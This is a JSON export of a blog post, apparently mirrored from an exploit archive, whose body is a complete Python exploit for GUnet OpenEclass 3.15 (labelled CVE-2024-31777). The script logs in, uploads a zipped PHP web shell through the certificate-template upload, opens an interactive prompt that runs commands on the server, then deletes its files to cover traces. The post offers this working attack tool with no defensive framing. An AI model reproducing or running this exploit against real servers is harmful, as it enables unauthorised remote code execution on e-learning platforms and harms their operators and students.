{"id":56219,"date":"2024-04-11T19:20:13","date_gmt":"2024-04-11T15:20:13","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178017\/gunetopeneclass315-upload.txt"},"modified":"2024-04-11T19:20:13","modified_gmt":"2024-04-11T15:20:13","slug":"gunet-openeclass-e-learning-3-15-file-upload-command-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/gunet-openeclass-e-learning-3-15-file-upload-command-execution\/","title":{"rendered":"GUnet OpenEclass E-learning 3.15 File Upload \/ Command Execution"},"content":{"rendered":"<p>import requests<br \/>import argparse<br \/>import zipfile<br \/>import os<br \/>import sys<\/p>\n<p>RED = &#8216;\\033[91m&#8217;<br \/>GREEN = &#8216;\\033[92m&#8217;<br \/>YELLOW = &#8216;\\033[93m&#8217;<br \/>RESET = &#8216;\\033[0m&#8217;<br \/>ORANGE = &#8216;\\033[38;5;208m&#8217;<\/p>\n<p>MALICIOUS_PAYLOAD = &#8220;&#8221;&#8221;\\<br \/>&lt;?php<\/p>\n<p>if(isset($_REQUEST[&#8216;cmd&#8217;])){<br \/>$cmd = ($_REQUEST[&#8216;cmd&#8217;]);<br \/>system($cmd);<br \/>die;<br \/>}<\/p>\n<p>?&gt;<br \/>&#8220;&#8221;&#8221;<\/p>\n<p>def banner():<br \/>print(f&#8221;'{RED}<br \/>{YELLOW}<br \/>============================ Author: Frey ============================<br \/>{RESET}&#8221;&#8217;)<\/p>\n<p>def execute_command(openeclass, filename):<br \/>while True:<br \/># Prompt for user input with &#8220;eclass&#8221;<br \/>cmd = input(f&#8221;{RED}[{YELLOW}eClass{RED}]~# {RESET}&#8221;)<\/p>\n<p># Check if the command is &#8216;quit&#8217;, then break the loop<br \/>if cmd.lower() == &#8220;quit&#8221;:<br \/>print(f&#8221;{ORANGE}\\nExiting&#8230;{RESET}&#8221;)<br \/>clean_server(openeclass)<br \/>sys.exit()<\/p>\n<p># Construct the URL with the user-provided command<br \/>url = f&#8221;{openeclass}\/courses\/user_progress_data\/cert_templates\/{filename}?cmd={cmd}&#8221;<\/p>\n<p># Execute the GET request<br \/>try:<br \/>response = requests.get(url)<\/p>\n<p># Check if the request was successful<br \/>if response.status_code == 200:<br \/># Print the response text<br \/>print(f&#8221;{GREEN}{response.text}{RESET}&#8221;)<\/p>\n<p>except requests.exceptions.RequestException as e:<br \/># Print any error that occurs during the request<br \/>print(f&#8221;{RED}An error occurred: {e}{RESET}&#8221;)<\/p>\n<p>def upload_web_shell(openeclass, username, password):<br \/>login_url = f'{openeclass}\/?login_page=1&#8242;<br \/>login_page_url = f'{openeclass}\/main\/login_form.php?next=%2Fmain%2Fportfolio.php&#8217;<\/p>\n<p># Login credentials<br \/>payload = {<br \/>&#8216;next&#8217;: &#8216;\/main\/portfolio.php&#8217;,<br \/>&#8216;uname&#8217;: f'{username}&#8217;,<br \/>&#8216;pass&#8217;: f'{password}&#8217;,<br \/>&#8216;submit&#8217;: &#8216;Enter&#8217;<br \/>}<\/p>\n<p>headers = {<br \/>&#8216;Referer&#8217;: login_page_url,<br \/>}<\/p>\n<p># Use a session to ensure cookies are handled correctly<br \/>with requests.Session() as session:<br \/># (Optional) Initially visit the login page if needed to get a fresh session cookie or any other required tokens<br \/>session.get(login_page_url)<\/p>\n<p># Post the login credentials<br \/>response = session.post(login_url, headers=headers, data=payload)<\/p>\n<p># Create a zip file containing the malicious payload<br \/>zip_file_path = &#8216;malicious_payload.zip&#8217;<br \/>with zipfile.ZipFile(zip_file_path, &#8216;w&#8217;) as zipf:<br \/>zipf.writestr(&#8216;evil.php&#8217;, MALICIOUS_PAYLOAD.encode())<\/p>\n<p># Upload the zip file<br \/>url = f'{openeclass}\/modules\/admin\/certbadge.php?action=add_cert&#8217;<br \/>files = {<br \/>&#8216;filename&#8217;: (&#8216;evil.zip&#8217;, open(zip_file_path, &#8216;rb&#8217;), &#8216;application\/zip&#8217;),<br \/>&#8216;certhtmlfile&#8217;: (None, &#8221;),<br \/>&#8216;orientation&#8217;: (None, &#8216;L&#8217;),<br \/>&#8216;description&#8217;: (None, &#8221;),<br \/>&#8216;cert_id&#8217;: (None, &#8221;),<br \/>&#8216;submit_cert_template&#8217;: (None, &#8221;)<br \/>}<br \/>response = session.post(url, files=files)<\/p>\n<p># Clean up the zip file<br \/>os.remove(zip_file_path)<\/p>\n<p># Check if the upload was successful<br \/>if response.status_code == 200:<br \/>print(f&#8221;{GREEN}Payload uploaded successfully!{RESET}&#8221;)<br \/>return True<br \/>else:<br \/>print(f&#8221;{RED}Failed to upload payload. Exiting&#8230;{RESET}&#8221;)<br \/>return False<\/p>\n<p>def clean_server(openeclass):<br \/>print(f&#8221;{ORANGE}Cleaning server&#8230;{RESET}&#8221;)<br \/># Remove the uploaded files<br \/>requests.get(f&#8221;{openeclass}\/courses\/user_progress_data\/cert_templates\/evil.php?cmd=rm%20evil.zip&#8221;)<br \/>requests.get(f&#8221;{openeclass}\/courses\/user_progress_data\/cert_templates\/evil.php?cmd=rm%20evil.php&#8221;)<br \/>print(f&#8221;{GREEN}Server cleaned successfully!{RESET}&#8221;)<\/p>\n<p>def main():<br \/>parser = argparse.ArgumentParser(description=&#8221;Open eClass \u2013 CVE-CVE-2024-31777: Unrestricted File Upload Leads to Remote Code Execution&#8221;)<br \/>parser.add_argument(&#8216;-u&#8217;, &#8216;&#8211;username&#8217;, required=True, help=&#8221;Username for login&#8221;)<br \/>parser.add_argument(&#8216;-p&#8217;, &#8216;&#8211;password&#8217;, required=True, help=&#8221;Password for login&#8221;)<br \/>parser.add_argument(&#8216;-e&#8217;, &#8216;&#8211;eclass&#8217;, required=True, help=&#8221;Base URL of the Open eClass&#8221;)<br \/>args = parser.parse_args()<\/p>\n<p>banner()<br \/># Running the main login and execute command function<br \/>if upload_web_shell(args.eclass, args.username, args.password):<br \/>execute_command(args.eclass, &#8216;evil.php&#8217;)<\/p>\n<p>if __name__ == &#8220;__main__&#8221;:<br \/>main()<\/p>\n","protected":false},"excerpt":{"rendered":"<p>import requestsimport argparseimport zipfileimport osimport sys RED = &#8216;\\033[91m&#8217;GREEN = &#8216;\\033[92m&#8217;YELLOW = &#8216;\\033[93m&#8217;RESET = &#8216;\\033[0m&#8217;ORANGE = &#8216;\\033[38;5;208m&#8217; MALICIOUS_PAYLOAD = &#8220;&#8221;&#8221;\\&lt;?php if(isset($_REQUEST[&#8216;cmd&#8217;])){$cmd = ($_REQUEST[&#8216;cmd&#8217;]);system($cmd);die;} ?&gt;&#8220;&#8221;&#8221; def banner():print(f&#8221;'{RED}{YELLOW}============================ Author: Frey ============================{RESET}&#8221;&#8217;) def execute_command(openeclass, filename):while True:# Prompt for user input with &#8220;eclass&#8221;cmd = input(f&#8221;{RED}[{YELLOW}eClass{RED}]~# {RESET}&#8221;) # Check if the command is &#8216;quit&#8217;, then break the loopif cmd.lower() == &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56219","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56219","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56219"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56219\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56219"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56219"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56219"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}